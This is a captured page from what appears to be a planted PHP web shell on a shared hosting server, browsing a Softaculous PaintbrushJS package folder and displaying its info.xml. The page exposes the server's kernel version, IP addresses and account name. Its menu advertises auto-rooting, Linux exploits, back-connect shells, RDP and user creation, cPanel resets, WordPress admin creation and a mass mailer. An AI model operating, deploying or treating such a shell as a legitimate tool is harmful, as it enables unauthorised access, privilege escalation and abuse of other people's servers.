Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
var /
softaculous /
paintbrushjs /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
php53
[ DIR ]
drwxr-xr-x
php56
[ DIR ]
drwxr-xr-x
php71
[ DIR ]
drwxr-xr-x
php81
[ DIR ]
drwxr-xr-x
fileindex.php
47
B
-rw-r--r--
info.xml
1.37
KB
-rw-r--r--
install.php
6.17
KB
-rw-r--r--
install.xml
98
B
-rw-r--r--
md5
628
B
-rw-r--r--
packageindex.php
29
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : info.xml
<?xml version="1.0" encoding="utf-8"?><soft xmlns="http://www.softaculous.com"> <overview> <img src="logo.gif" style="float:right;margin:8px;" alt="" />{{overview}} </overview> <features> {{features}} </features> <demo> http://mezzoblue.github.com/PaintbrushJS/ </demo> <ratings> http://www.softaculous.com/softwares/javascripts/libraries/PaintbrushJS </ratings> <space> 1797966 </space> <support> https://github.com/mezzoblue/PaintbrushJS </support> <version> 0.3 </version> <mod>1</mod> <mod_files>5</mod_files> <softversion> 2.8 </softversion> <languages> <english-overview> <font size="5" color="#182e7a">PaintbrushJS</font> is a lightweight browser-based image processing library built with Javascript and canvas. <br /><br /> PaintbrushJS is licensed under the <a href="http://www.opensource.org/licenses/mit-license.php">MIT License</a>. </english-overview> <english-features> You use it by applying a class to an element on the page and setting a few parameters with some extra <span class="caps">HTML</span> attributes. If the element is an <code>img</code> or it has a <code>background-image</code> set in your <span class="caps">CSS</span>, PaintbrushJS will create a temporary <code>canvas</code> element and manipulate the image there, before finally saving it back out to the original element. </english-features> </languages> </soft>
Close